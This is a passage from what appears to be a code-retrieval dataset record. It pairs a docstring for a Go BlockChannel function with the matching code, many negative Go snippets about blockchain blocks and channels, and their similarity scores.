shim.ChaincodeStubInterface) sc.Response {\n\treturn shim.Success(nil)\n}", "func (s *SmartContract) Init(APIstub shim.ChaincodeStubInterface) sc.Response {\n\treturn shim.Success(nil)\n}", "func (s *SmartContract) Init(APIstub shim.ChaincodeStubInterface) sc.Response {\n\treturn shim.Success(nil)\n}", "func (s *SmartContract) Init(APIstub shim.ChaincodeStubInterface) sc.Response {\n\treturn shim.Success(nil)\n}", "func (s *SmartContract) Init(APIstub shim.ChaincodeStubInterface) sc.Response {\n\treturn shim.Success(nil)\n}", "func (s *SmartContract) Init(APIstub shim.ChaincodeStubInterface) sc.Response {\n\treturn shim.Success(nil)\n}", "func (s *SmartContract) Init(APIstub shim.ChaincodeStubInterface) sc.Response {\n\treturn shim.Success(nil)\n}", "func (s *SmartContract) Init(APIstub shim.ChaincodeStubInterface) sc.Response {\n\treturn shim.Success(nil)\n}" ]
[ "0.74457175", "0.69137216", "0.60836506", "0.5974748", "0.595039", "0.55153656", "0.5464052", "0.5463583", "0.5366341", "0.53545606", "0.52635115", "0.5156961", "0.51507014", "0.5106845", "0.5040854", "0.501315", "0.4976237", "0.49615723", "0.49147668", "0.49116242", "0.48985434", "0.48984644", "0.48857006", "0.48775706", "0.4866604", "0.48647732", "0.48620608", "0.48592162", "0.48529282", "0.48192945", "0.481104", "0.48082468", "0.47965568", "0.4795545", "0.47831196", "0.4750131", "0.47425115", "0.47416204", "0.47322392", "0.47196954", "0.47165263", "0.471523", "0.4714203", "0.47111875", "0.46770808", "0.46501103", "0.46406934", "0.4638952", "0.4638345", "0.46116853", "0.46114466", "0.4606925", "0.4601791", "0.45995113", "0.45732003", "0.45676643", "0.45612022", "0.45606145", "0.4551816", "0.45492855", "0.4536909", "0.45307946", "0.45232913", "0.45218232", "0.45152286", "0.4506026", "0.44999078", "0.44972977", "0.44971222", "0.44966903", "0.44913003", "0.44880745", "0.44781187", "0.4477939", "0.44741488", "0.44425574", "0.4442444", "0.4439002", "0.44384593", "0.44348904", "0.44346258", "0.44243258", "0.4414281", "0.4408749", "0.4405814", "0.43997082", "0.43990645", "0.43990645", "0.43990645", "0.43990645", "0.43990645", "0.43990645", "0.43990645", "0.43990645", "0.43990645", "0.43990645", "0.43990645", "0.43990645", "0.43990645", "0.43990645" ]
0.73080486
1
BlockChannel creates and returns a new channel on which to receive block updates. If the returned channel is ever blocking, there will be no error logged from the dcr package. Part of the asset.DEXAsset interface.
func (dcr *DCRBackend) BlockChannel(size int) chan uint32 { c := make(chan uint32, size) dcr.signalMtx.Lock() defer dcr.signalMtx.Unlock() dcr.blockChans = append(dcr.blockChans, c) return c }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (eth *Backend) BlockChannel(size int) <-chan *asset.BlockUpdate {\n\tc := make(chan *asset.BlockUpdate, size)\n\teth.blockChansMtx.Lock()\n\tdefer eth.blockChansMtx.Unlock()\n\teth.blockChans[c] = struct{}{}\n\treturn c\n}", "func (p *Character) Block(playerChan PlayerChannel) {\n\tinput := actions.Action{}\n\tinput.Block.StartTime = time.Now()\n\n\tinput.Block.Defense = p.Defense\n\n\tplayerChan <- &input\n}", "func Block(f *Feed) error {\n\tf.Channel.Block = ValueYes\n\treturn nil\n}", "func (c *Client) Block() <-chan *types.Block {\n\treturn c.blocks\n}", "func (p *proxy) SetBlockChannel(ch chan *types.Block) {\n\tp.orc.setBlockChannel(ch)\n}", "func (c *Client) Block() *Block {\n\treturn &Block{c}\n}", "func Block(c *blocker.Client, h http.Handler) http.Handler {\n\treturn BlockWithCode(c, h, http.StatusForbidden)\n}", "func NewBlockCapability(\n\tmode csi.VolumeCapability_AccessMode_Mode) *csi.VolumeCapability {\n\n\treturn &csi.VolumeCapability{\n\t\tAccessMode: &csi.VolumeCapability_AccessMode{\n\t\t\tMode: mode,\n\t\t},\n\t\tAccessType: &csi.VolumeCapability_Block{\n\t\t\tBlock: &csi.VolumeCapability_BlockVolume{},\n\t\t},\n\t}\n}", "func (r *RuntimeImpl) Block() {\n\t<-r.blocker\n}", "func (l *Channel) getBlock(blockNumber uint64) (*types.Block, error) {\n\tvar blockNumberInt *big.Int\n\tif blockNumber > 0 {\n\t\tblockNumberInt = big.NewInt(int64(blockNumber))\n\t}\n\n\td := time.Now().Add(5 * time.Second)\n\tctx, cancel := context.WithDeadline(context.Background(), d)\n\tdefer cancel()\n\n\tblock, err := l.client.BlockByNumber(ctx, blockNumberInt)\n\tif err != nil {\n\t\tif err.Error() == \"not found\" {\n\t\t\treturn nil, nil\n\t\t}\n\t\terr = errors.Wrap(err, \"Error getting block from geth\")\n\t\tl.log.WithField(\"block\", blockNumberInt.String()).Error(err)\n\t\treturn nil, err\n\t}\n\n\treturn block, nil\n}", "func (w *FilteredBlockWrapper) Block() *pb.FilteredBlock {\r\n\treturn w.block\r\n}", "func (p *LightningPool) Channel(ctx context.Context) (*amqp.Channel, error) {\n\tvar (\n\t\tk *amqp.Channel\n\t\terr error\n\t)\n\n\tp.mx.Lock()\n\tlast := len(p.set) - 1\n\tif last >= 0 {\n\t\tk = p.set[last]\n\t\tp.set = p.set[:last]\n\t}\n\tp.mx.Unlock()\n\n\t// If pool is empty create new channel\n\tif last < 0 {\n\t\tk, err = p.new(ctx)\n\t\tif err != nil {\n\t\t\treturn k, errors.Wrap(err, \"failed to create new\")\n\t\t}\n\t}\n\n\treturn k, nil\n}", "func New() *block {\n\treturn &block{\n\t\tbroadcastChan: make(chan Message, broadcastChanSize),\n\t\tbroadcastMsgSeen: map[string]struct{}{},\n\t}\n}", "func Block(b models.Block) *genModels.BlocksRow {\n\tts := b.Timestamp.Unix()\n\n\tgenBlock := genModels.BlocksRow{\n\t\tLevel: b.Level.Ptr(),\n\t\tProto: b.Proto.Ptr(),\n\t\tBlockTime: b.BlockTime,\n\t\tPredecessor: b.Predecessor.Ptr(),\n\t\tTimestamp: &ts,\n\t\tValidationPass: b.ValidationPass.Ptr(),\n\t\tFitness: b.Fitness.Ptr(),\n\t\tContext: b.Context,\n\t\tSignature: b.Signature,\n\t\tProtocol: b.Protocol.Ptr(),\n\t\tPriority: b.Priority.Ptr(),\n\t\tChainID: b.ChainID,\n\t\tHash: b.Hash.Ptr(),\n\t\tReward: &b.Reward,\n\t\tDeposit: b.Deposit,\n\t\tOperationsHash: b.OperationsHash,\n\t\tPeriodKind: b.PeriodKind,\n\t\tCurrentExpectedQuorum: b.CurrentExpectedQuorum,\n\t\tActiveProposal: b.ActiveProposal,\n\t\tBaker: b.Baker,\n\t\tBakerName: b.BakerName,\n\t\tNonceHash: b.NonceHash,\n\t\tConsumedGas: b.ConsumedGas,\n\t\tMetaLevel: b.MetaLevel,\n\t\tMetaLevelPosition: b.MetaLevelPosition,\n\t\tMetaCycle: b.MetaCycle,\n\t\tMetaCyclePosition: b.MetaCyclePosition,\n\t\tMetaVotingPeriod: b.MetaVotingPeriod,\n\t\tMetaVotingPeriodPosition: b.MetaVotingPeriodPosition,\n\t\tExpectedCommitment: b.ExpectedCommitment,\n\t}\n\n\tif b.BlockAggregation != nil {\n\t\tgenBlock.Volume = b.BlockAggregation.Volume\n\t\tgenBlock.Fees = b.BlockAggregation.Fees\n\t\tgenBlock.Endorsements = b.BlockAggregation.Endorsements\n\t\tgenBlock.Proposals = b.BlockAggregation.Proposals\n\t\tgenBlock.SeedNonceRevelations = b.BlockAggregation.SeedNonceRevelations\n\t\tgenBlock.Delegations = b.BlockAggregation.Delegations\n\t\tgenBlock.Transactions = b.BlockAggregation.Transactions\n\t\tgenBlock.ActivateAccounts = b.BlockAggregation.ActivateAccounts\n\t\tgenBlock.Ballots = b.BlockAggregation.Ballots\n\t\tgenBlock.Originations = b.BlockAggregation.Originations\n\t\tgenBlock.Reveals = b.BlockAggregation.Reveals\n\t\tgenBlock.DoubleBakingEvidence = b.BlockAggregation.DoubleBakingEvidences\n\t\tgenBlock.DoubleEndorsementEvidence = b.BlockAggregation.DoubleEndorsementEvidences\n\t\tgenBlock.NumberOfOperations = b.BlockAggregation.NumberOfOperations\n\t}\n\n\treturn &genBlock\n}", "func (obj Events) Block() Block {\n\treturn Block(obj)\n}", "func NewBlock() *Block {\n\treturn &Block{}\n}", "func (fs *fakeScraper) Block(key string) {\n\tfs.blocked[key] = make(chan bool)\n\tfs.ready[key] = make(chan bool)\n}", "func (api *Api) Block(number *int) (*models.Block, error) {\n\tctx, cancel := context.WithTimeout(context.Background(), api.timeout)\n\tdefer cancel()\n\n\tblock, err := api.EthProxyServiceClient.Block(ctx, parseBlockGetter(number))\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"fetch block grpc api request: %w\", err)\n\t}\n\n\treturn models.BlockFromProto(block), nil\n}", "func (bc *Blockchain) AddRemoteBlocks() {\n for true {\n // listen for a block from the node goroutine\n newBlock := <-bc.AddBlockChannel\n bc.BlockMutex.Lock()\n bc.Chain = append(bc.Chain, newBlock)\n bc.BlockMutex.Unlock()\n fmt.Println(\"Another miner found block \" + strconv.Itoa(len(bc.Chain)))\n if !bc.ValidateChain() {\n // the new block is invalid, delete it\n bc.BlockMutex.Lock()\n bc.Chain = bc.Chain[:len(bc.Chain) - 1]\n bc.BlockMutex.Unlock()\n // let the node package know that the block was rejected\n bc.BlockValidateChannel <- false\n } else {\n bc.BlockValidateChannel <- true\n }\n }\n}", "func (_PlasmaFramework *PlasmaFrameworkSession) Blocks(arg0 *big.Int) (struct {\n\tRoot [32]byte\n\tTimestamp *big.Int\n}, error) {\n\treturn _PlasmaFramework.Contract.Blocks(&_PlasmaFramework.CallOpts, arg0)\n}", "func (_PlasmaFramework *PlasmaFrameworkCallerSession) Blocks(arg0 *big.Int) (struct {\n\tRoot [32]byte\n\tTimestamp *big.Int\n}, error) {\n\treturn _PlasmaFramework.Contract.Blocks(&_PlasmaFramework.CallOpts, arg0)\n}", "func NewChannel() Channel {\n\treturn Channel{&sync.Mutex{}, map[string]map[*struct{}]JoinOptions{}}\n}", "func (_PlasmaFramework *PlasmaFrameworkCaller) Blocks(opts *bind.CallOpts, arg0 *big.Int) (struct {\n\tRoot [32]byte\n\tTimestamp *big.Int\n}, error) {\n\tret := new(struct {\n\t\tRoot [32]byte\n\t\tTimestamp *big.Int\n\t})\n\tout := ret\n\terr := _PlasmaFramework.contract.Call(opts, out, \"blocks\", arg0)\n\treturn *ret, err\n}", "func NewBlock(b *block.Block, chain blockchainer.Blockchainer) Block {\n\tres := Block{\n\t\tBlock: *b,\n\t\tBlockMetadata: BlockMetadata{\n\t\t\tSize: io.GetVarSize(b),\n\t\t\tConfirmations: chain.BlockHeight() - b.Index + 1,\n\t\t},\n\t}\n\n\thash := chain.GetHeaderHash(int(b.Index) + 1)\n\tif !hash.Equals(util.Uint256{}) {\n\t\tres.NextBlockHash = &hash\n\t}\n\n\treturn res\n}", "func (dc *DeliverClient) RequestBlock(req *cb.Envelope) (*cb.Block, error) {\n\tde, conn, cancel, err := newAtomicBroadcastDeliverClient(dc.endpoint)\n\tif err != nil {\n\t\tlogger.Error(\"Error creating deliver client\", err)\n\t\treturn nil, err\n\t}\n\n\tdefer conn.Close()\n\tdefer de.CloseSend()\n\tdefer cancel()\n\n\terr = de.Send(req)\n\tif err != nil {\n\t\tlogger.Error(\"Error sending block request\", err)\n\t\treturn nil, err\n\t}\n\n\tmsg, err := de.Recv()\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"error receiving\")\n\t}\n\tswitch t := msg.Type.(type) {\n\tcase *ab.DeliverResponse_Status:\n\t\tlogger.Infof(\"Got status: %v\", t)\n\t\treturn nil, errors.Errorf(\"can't read the block: %v\", t)\n\tcase *ab.DeliverResponse_Block:\n\t\tlogger.Infof(\"Received block: %v\", t.Block.Header.Number)\n\t\tde.Recv() // Flush the success message\n\t\treturn t.Block, nil\n\tdefault:\n\t\treturn nil, errors.Errorf(\"response error: unknown type %T\", t)\n\t}\n}", "func NewBlock(index int, data interface{}, date time.Time) *Block {\n\treturn &Block{\n\t\tIndex: index,\n\t\tDate: date,\n\t\tData: data,\n\t}\n}", "func NewBlock(\n\tblockStart xtime.UnixNano,\n\tmd namespace.Metadata,\n\tblockOpts BlockOptions,\n\tnamespaceRuntimeOptsMgr namespace.RuntimeOptionsManager,\n\topts Options,\n) (Block, error) {\n\tblockSize := md.Options().IndexOptions().BlockSize()\n\tiopts := opts.InstrumentOptions()\n\tscope := iopts.MetricsScope().SubScope(\"index\").SubScope(\"block\")\n\tiopts = iopts.SetMetricsScope(scope)\n\n\tcpus := int(math.Max(1, math.Ceil(0.25*float64(runtime.GOMAXPROCS(0)))))\n\tcachedSearchesWorkers := xsync.NewWorkerPool(cpus)\n\tcachedSearchesWorkers.Init()\n\n\tsegs := newMutableSegments(\n\t\tmd,\n\t\tblockStart,\n\t\topts,\n\t\tblockOpts,\n\t\tcachedSearchesWorkers,\n\t\tnamespaceRuntimeOptsMgr,\n\t\tiopts,\n\t)\n\n\tcoldSegs := newMutableSegments(\n\t\tmd,\n\t\tblockStart,\n\t\topts,\n\t\tblockOpts,\n\t\tcachedSearchesWorkers,\n\t\tnamespaceRuntimeOptsMgr,\n\t\tiopts,\n\t)\n\n\t// NB(bodu): The length of coldMutableSegments is always at least 1.\n\tcoldMutableSegments := []*mutableSegments{coldSegs}\n\tb := &block{\n\t\tstate: blockStateOpen,\n\t\tblockStart: blockStart,\n\t\tblockEnd: blockStart.Add(blockSize),\n\t\tblockSize: blockSize,\n\t\tblockOpts: blockOpts,\n\t\tcachedSearchesWorkers: cachedSearchesWorkers,\n\t\tmutableSegments: segs,\n\t\tcoldMutableSegments: coldMutableSegments,\n\t\tshardRangesSegmentsByVolumeType: make(shardRangesSegmentsByVolumeType),\n\t\topts: opts,\n\t\tiopts: iopts,\n\t\tnsMD: md,\n\t\tnamespaceRuntimeOptsMgr: namespaceRuntimeOptsMgr,\n\t\tmetrics: newBlockMetrics(scope),\n\t\tlogger: iopts.Logger(),\n\t\tfetchDocsLimit: opts.QueryLimits().FetchDocsLimit(),\n\t\taggDocsLimit: opts.QueryLimits().AggregateDocsLimit(),\n\t}\n\tb.newFieldsAndTermsIteratorFn = newFieldsAndTermsIterator\n\tb.newExecutorWithRLockFn = b.executorWithRLock\n\tb.addAggregateResultsFn = b.addAggregateResults\n\n\treturn b, nil\n}", "func (h *Helm) UpdateChannel() <-chan struct{} {\n\treturn h.trigger\n}", "func (cb *CircuitBreaker) Block() {\n\tcb.Lock()\n\tcb.blocked = true\n\tcb.Unlock()\n}", "func ForChannel(channelID string) api.BlockPublisher {\n\treturn ProviderInstance.ForChannel(channelID)\n}", "func (p *Participant) condenseBlock() (b delta.Block) {\n\t// Set the height and parent of the block.\n\tp.engineLock.RLock()\n\tb.Height = p.engine.Metadata().Height\n\tb.ParentBlock = p.engine.Metadata().ParentBlock\n\tp.engineLock.RUnlock()\n\n\t// Condense updates into a single non-repetitive block.\n\tp.updatesLock.Lock()\n\t{\n\t\t// Create a map containing all ScriptInputs found in a heartbeat.\n\t\tscriptInputMap := make(map[string]state.ScriptInput)\n\t\tupdateAdvancementMap := make(map[string]state.UpdateAdvancement)\n\t\tadvancementSignatureMap := make(map[string]siacrypto.Signature)\n\t\tfor i := range p.updates {\n\t\t\tif len(p.updates[i]) == 1 {\n\t\t\t\tfor _, u := range p.updates[i] {\n\t\t\t\t\t// Add the heartbeat to the block for active siblings.\n\t\t\t\t\tp.engineLock.RLock()\n\t\t\t\t\tif p.engine.Metadata().Siblings[i].Active() {\n\t\t\t\t\t\tb.Heartbeats[i] = u.Heartbeat\n\t\t\t\t\t\tb.HeartbeatSignatures[i] = u.HeartbeatSignature\n\t\t\t\t\t}\n\t\t\t\t\tp.engineLock.RUnlock()\n\n\t\t\t\t\t// Add all of the script inputs to the script input map.\n\t\t\t\t\tfor _, scriptInput := range u.ScriptInputs {\n\t\t\t\t\t\tscriptInputHash, err := siacrypto.HashObject(scriptInput)\n\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t}\n\t\t\t\t\t\tscriptInputMap[string(scriptInputHash[:])] = scriptInput\n\t\t\t\t\t}\n\n\t\t\t\t\t// Add all of the update advancements to the hash map.\n\t\t\t\t\tfor i, ua := range u.UpdateAdvancements {\n\t\t\t\t\t\t// Verify the signature on the update advancement.\n\t\t\t\t\t\tverified, err := p.engine.Metadata().Siblings[ua.SiblingIndex].PublicKey.VerifyObject(u.AdvancementSignatures[i], ua)\n\t\t\t\t\t\tif err != nil || !verified {\n\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t}\n\t\t\t\t\t\tuaHash, err := siacrypto.HashObject(ua)\n\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t}\n\t\t\t\t\t\tuaString := string(uaHash[:])\n\t\t\t\t\t\tupdateAdvancementMap[uaString] = ua\n\t\t\t\t\t\tadvancementSignatureMap[uaString] = u.AdvancementSignatures[i]\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Clear the update map for this sibling, so that it is clean during the\n\t\t\t// next round of consensus.\n\t\t\tp.updates[i] = make(map[siacrypto.Hash]Update)\n\t\t}\n\n\t\t// Sort the scriptInputMap and include the scriptInputs into the block in\n\t\t// sorted order.\n\t\tvar sortedKeys []string\n\t\tfor k := range scriptInputMap {\n\t\t\tsortedKeys = append(sortedKeys, k)\n\t\t}\n\t\tsort.Strings(sortedKeys)\n\t\tfor _, k := range sortedKeys {\n\t\t\tb.ScriptInputs = append(b.ScriptInputs, scriptInputMap[k])\n\t\t}\n\n\t\t// Sort the updateAdvancementMap and include the advancements into the\n\t\t// block in sorted order.\n\t\tsortedKeys = nil\n\t\tfor k := range updateAdvancementMap {\n\t\t\tsortedKeys = append(sortedKeys, k)\n\t\t}\n\t\tsort.Strings(sortedKeys)\n\t\tfor _, k := range sortedKeys {\n\t\t\tb.UpdateAdvancements = append(b.UpdateAdvancements, updateAdvancementMap[k])\n\t\t\tb.AdvancementSignatures = append(b.AdvancementSignatures, advancementSignatureMap[k])\n\t\t}\n\t}\n\tp.updatesLock.Unlock()\n\treturn\n}", "func NewBlock(chain uint64, producer Address) *StBlock {\n\tvar hashPowerLimit uint64\n\tvar blockInterval uint64\n\tvar pStat BaseInfo\n\tout := new(StBlock)\n\tgetDataFormDB(chain, dbStat{}, []byte{StatBaseInfo}, &pStat)\n\tgetDataFormDB(chain, dbStat{}, []byte{StatHashPower}, &hashPowerLimit)\n\tgetDataFormDB(chain, dbStat{}, []byte{StatBlockInterval}, &blockInterval)\n\n\tif pStat.ID == 0 {\n\t\tlog.Println(\"fail to get the last block. chain:\", chain)\n\t\treturn nil\n\t}\n\n\thashPowerLimit = hashPowerLimit / 1000\n\tif hashPowerLimit < minHPLimit {\n\t\thashPowerLimit = minHPLimit\n\t}\n\n\tout.HashpowerLimit = hashPowerLimit\n\n\tif pStat.ID == 1 && chain > 1 {\n\t\tpStat.Time = pStat.Time + blockSyncMax + blockSyncMin + TimeSecond\n\t} else {\n\t\tpStat.Time += blockInterval\n\t}\n\n\tout.Previous = pStat.Key\n\tout.Producer = producer\n\tout.Time = pStat.Time\n\n\tout.Chain = chain\n\tout.Index = pStat.ID + 1\n\n\tif pStat.Chain > 1 {\n\t\tvar key Hash\n\t\tvar tmp BlockInfo\n\t\tgetDataFormLog(chain/2, logBlockInfo{}, runtime.Encode(pStat.ParentID+1), &key)\n\t\tgetDataFormLog(chain/2, logBlockInfo{}, key[:], &tmp)\n\t\tif out.Index != 2 && !key.Empty() && out.Time > tmp.Time && out.Time-tmp.Time > blockSyncMin {\n\t\t\tvar key2 Hash\n\t\t\tgetDataFormLog(chain/2, logBlockInfo{}, runtime.Encode(pStat.ParentID+2), &key2)\n\t\t\tgetDataFormLog(chain/2, logBlockInfo{}, key2[:], &tmp)\n\t\t\tif !key2.Empty() && out.Time > tmp.Time && out.Time-tmp.Time > blockSyncMin {\n\t\t\t\tout.Parent = key2\n\t\t\t} else {\n\t\t\t\tout.Parent = key\n\t\t\t}\n\t\t\t// assert(out.Time-tmp.Time <= blockSyncMax)\n\t\t} else {\n\t\t\tgetDataFormLog(chain/2, logBlockInfo{}, runtime.Encode(pStat.ParentID), &key)\n\t\t\tout.Parent = key\n\t\t}\n\t}\n\tif pStat.LeftChildID > 0 {\n\t\tvar key Hash\n\t\tvar tmp BlockInfo\n\t\tgetDataFormLog(2*chain, logBlockInfo{}, runtime.Encode(pStat.LeftChildID+1), &key)\n\t\tgetDataFormLog(2*chain, logBlockInfo{}, key[:], &tmp)\n\t\tif !key.Empty() && out.Time > tmp.Time && out.Time-tmp.Time > blockSyncMin {\n\t\t\tvar key2 Hash\n\t\t\tgetDataFormLog(2*chain, logBlockInfo{}, runtime.Encode(pStat.LeftChildID+2), &key2)\n\t\t\tgetDataFormLog(2*chain, logBlockInfo{}, key2[:], &tmp)\n\t\t\tif !key2.Empty() && out.Time > tmp.Time && out.Time-tmp.Time > blockSyncMin {\n\t\t\t\tout.LeftChild = key2\n\t\t\t} else {\n\t\t\t\tout.LeftChild = key\n\t\t\t}\n\t\t\t// assert(out.Time-tmp.Time <= blockSyncMax)\n\t\t} else if pStat.LeftChildID == 1 {\n\t\t\tgetDataFormLog(chain, logBlockInfo{}, runtime.Encode(pStat.LeftChildID), &key)\n\t\t\tout.LeftChild = key\n\t\t} else {\n\t\t\tgetDataFormLog(2*chain, logBlockInfo{}, runtime.Encode(pStat.LeftChildID), &key)\n\t\t\tout.LeftChild = key\n\t\t}\n\t}\n\tif pStat.RightChildID > 0 {\n\t\tvar key Hash\n\t\tvar tmp BlockInfo\n\t\tgetDataFormLog(2*chain+1, logBlockInfo{}, runtime.Encode(pStat.RightChildID+1), &key)\n\t\tgetDataFormLog(2*chain+1, logBlockInfo{}, key[:], &tmp)\n\t\tif !key.Empty() && out.Time > tmp.Time && out.Time-tmp.Time > blockSyncMin {\n\t\t\tvar key2 Hash\n\t\t\tgetDataFormLog(2*chain+1, logBlockInfo{}, runtime.Encode(pStat.RightChildID+2), &key2)\n\t\t\tgetDataFormLog(2*chain+1, logBlockInfo{}, key2[:], &tmp)\n\t\t\tif !key2.Empty() && out.Time > tmp.Time && out.Time-tmp.Time > blockSyncMin {\n\t\t\t\tout.RightChild = key2\n\t\t\t} else {\n\t\t\t\tout.RightChild = key\n\t\t\t}\n\t\t\t// assert(out.Time-tmp.Time <= blockSyncMax)\n\t\t} else if pStat.RightChildID == 1 {\n\t\t\tgetDataFormLog(chain, logBlockInfo{}, runtime.Encode(pStat.RightChildID), &key)\n\t\t\tout.RightChild = key\n\t\t} else {\n\t\t\tgetDataFormLog(2*chain+1, logBlockInfo{}, runtime.Encode(pStat.RightChildID), &key)\n\t\t\tout.RightChild = key\n\t\t}\n\t}\n\n\treturn out\n}", "func (s *f64) Channel(c int) Floating {\n\treturn floatingChannel{\n\t\tbuffer: s,\n\t\tchannel: c,\n\t}\n}", "func NewBlock(index idx.Block, time Timestamp, events hash.Events, prevHash hash.Event) *Block {\n\treturn &Block{\n\t\tIndex: index,\n\t\tTime: time,\n\t\tEvents: events,\n\t\tPrevHash: prevHash,\n\t\tSkippedTxs: make([]uint, 0),\n\t}\n}", "func (honest *Honest) createBlock(iterationCount int, stakeMap map[int]int) (*Block,error) {\n\n\t// Has block already been appended from advertisements by other client?\n\tif(honest.bc.getBlock(iterationCount) != nil){\n\t\treturn nil, blockExistsError\n\t}\n\n\tpulledGradient := make([]float64, honest.ncol)\n\tpulledGradient = honest.bc.getLatestGradient()\n\tupdatedGradient := make([]float64, honest.ncol)\n\tdeltaM := mat.NewDense(1, honest.ncol, make([]float64, honest.ncol))\n\tpulledGradientM := mat.NewDense(1, honest.ncol, pulledGradient)\n\t// avgFactor := 1.0/float64(len(honest.blockUpdates))\n\n\t// Update Aggregation\n\tfor _, update := range honest.blockUpdates {\n\t\ttheirStake := stakeMap[update.SourceID] \n\t\tif update.Accepted {\n\t\t\tdeltaM = mat.NewDense(1, honest.ncol, update.Delta)\n\t\t\tpulledGradientM.Add(pulledGradientM, deltaM)\t\n\t\t\tstakeMap[update.SourceID] = theirStake + STAKE_UNIT\n\t\t} else {\n\t\t\toutLog.Printf(\"Skipping an update\")\n\t\t\tstakeMap[update.SourceID] = theirStake - STAKE_UNIT\n\t\t}\n\t}\n\n\t// pulledGradientM.Scale(avgFactor, pulledGradientM)\n\n\tmat.Row(updatedGradient, 0, pulledGradientM)\n\n\tupdatesGathered := make([]Update, len(honest.blockUpdates))\n\tcopy(updatesGathered, honest.blockUpdates)\n\n\tbData := BlockData{iterationCount, updatedGradient, updatesGathered}\n\thonest.bc.AddBlock(bData, stakeMap) \n\n\tnewBlock := honest.bc.Blocks[len(honest.bc.Blocks)-1]\n\n\treturn newBlock,nil\n\n\n}", "func (_Rootchain *RootchainCaller) Blocks(opts *bind.CallOpts, arg0 *big.Int) (struct {\n\tRoot [32]byte\n\tTimestamp *big.Int\n}, error) {\n\tret := new(struct {\n\t\tRoot [32]byte\n\t\tTimestamp *big.Int\n\t})\n\tout := ret\n\terr := _Rootchain.contract.Call(opts, out, \"blocks\", arg0)\n\treturn *ret, err\n}", "func NewBlockchainChannelReader(processor *blockchain.Processor, cfg *viper.Viper,\n\torgMetadata *blockchain.OrganizationMetaData) *BlockchainChannelReader {\n\treturn &BlockchainChannelReader{\n\t\treadChannelFromBlockchain: processor.MultiPartyEscrowChannel,\n\t\trecipientPaymentAddress: func() common.Address {\n\t\t\taddress := orgMetadata.GetPaymentAddress()\n\t\t\treturn address\n\t\t},\n\t}\n}", "func newBlock(lastBlock Block, seed int, npeer string, transactions []SignedTransaction) Block {\n\tvar newBlock Block\n\n\tnewBlock.Seed = seed\n\tnewBlock.Index = lastBlock.Index + 1\n\tnewBlock.LastHash = lastBlock.Hash\n\tnewBlock.Peer = npeer\n\tnewBlock.SpecialAccounts = lastBlock.SpecialAccounts\n\tnewBlock.Transactions = transactions\n\tnewBlock.Hash = blockHash(newBlock)\n\treturn newBlock\n}", "func (res channelBase) Channel() *types.Channel {\n\treturn res.channel\n}", "func (s *Server) Block(ctx context.Context, req *rtypes.BlockRequest) (*rtypes.BlockResponse, *rtypes.Error) {\n\t_, _, b, err := s.getBlockByPartialId(ctx, req.BlockIdentifier)\n\tif err != nil {\n\t\treturn nil, types.DcrdError(err)\n\t}\n\tvar prev *wire.MsgBlock\n\n\t// Fetch the previous block when the current block disapproves of its\n\t// parent, since we'll need to reverse the transactions in the parent.\n\t// We include a special check for the genesis block because it has\n\t// VoteBits == 0.\n\tapprovesParent := b.Header.VoteBits&0x01 == 0x01\n\tif !approvesParent && b.Header.Height > 0 {\n\t\tprev, err = s.c.GetBlock(ctx, &b.Header.PrevBlock)\n\t\tif err != nil {\n\t\t\treturn nil, types.DcrdError(err, types.MapRpcErrCode(-5, types.ErrBlockNotFound))\n\t\t}\n\t}\n\n\tfetchInputs := s.makeInputsFetcher(ctx, nil)\n\trblock, err := types.WireBlockToRosetta(b, prev, fetchInputs, s.chainParams)\n\tif err != nil {\n\t\treturn nil, types.RError(err)\n\t}\n\treturn &rtypes.BlockResponse{\n\t\tBlock: rblock,\n\t}, nil\n}", "func (cs *ChannelService) Channel() (apifabclient.Channel, error) {\n\treturn cs.fabricProvider.CreateChannelClient(cs.identityContext, cs.cfg)\n}", "func (app *application) Block(additional uint) error {\n\tendpoint := fmt.Sprintf(\"%s%d\", \"/blocks/\", additional)\n\turl := fmt.Sprintf(baseFormat, app.url, endpoint)\n\n\tresp, err := app.client.R().\n\t\tSetHeader(shared.TokenHeadKeyname, app.token).\n\t\tPost(url)\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif resp.StatusCode() == http.StatusOK {\n\t\treturn nil\n\t}\n\n\treturn errors.New(string(resp.Body()))\n}", "func (t *Thread) handleBlock(id string, datac chan Update) error {\n\t// first update?\n\tif id == \"\" {\n\t\tlog.Debugf(\"found genesis block, aborting\")\n\t\treturn nil\n\t}\n\tlog.Debugf(\"handling block: %s...\", id)\n\n\t// check if we aleady have this block\n\tblock := t.blocks().Get(id)\n\tif block != nil {\n\t\tlog.Debugf(\"block %s exists, aborting\", id)\n\t\treturn nil\n\t}\n\n\tlog.Debugf(\"pinning block %s...\", id)\n\tif err := util.PinPath(t.ipfs(), id, true); err != nil {\n\t\treturn err\n\t}\n\n\t// index it\n\tblock, err := t.indexBlock(id)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// update current head\n\tif err := t.updateHead(id); err != nil {\n\t\treturn err\n\t}\n\n\t// don't block on the send since nobody might be listening\n\tselect {\n\tcase datac <- Update{Id: id, Thread: t.Name, ThreadID: t.Id}:\n\tdefault:\n\t}\n\tdefer func() {\n\t\tif recover() != nil {\n\t\t\tlog.Error(\"update channel already closed\")\n\t\t}\n\t}()\n\n\tlog.Debugf(\"handled block: %s\", id)\n\n\t// check last block\n\t// TODO: handle multi parents from 3-way merge\n\treturn t.handleBlock(block.Parents[0], datac)\n}", "func ReceiveBlock(sendBlock *types.StateBlock, account *types.Account, cc *context.ChainContext) (err error) {\n\trpcService, err := cc.Service(context.RPCService)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tledgerService, err := cc.Service(context.LedgerService)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tl := ledgerService.(*LedgerService).Ledger\n\n\tif rpcService.Status() != int32(common.Started) || ledgerService.Status() != int32(common.Started) {\n\t\treturn fmt.Errorf(\"rpc or ledger service not started\")\n\t}\n\n\tclient, err := rpcService.(*RPCService).RPC().Attach()\n\tif err != nil {\n\t\treturn\n\t}\n\tdefer func() {\n\t\tif client != nil {\n\t\t\tclient.Close()\n\t\t}\n\t}()\n\tvar 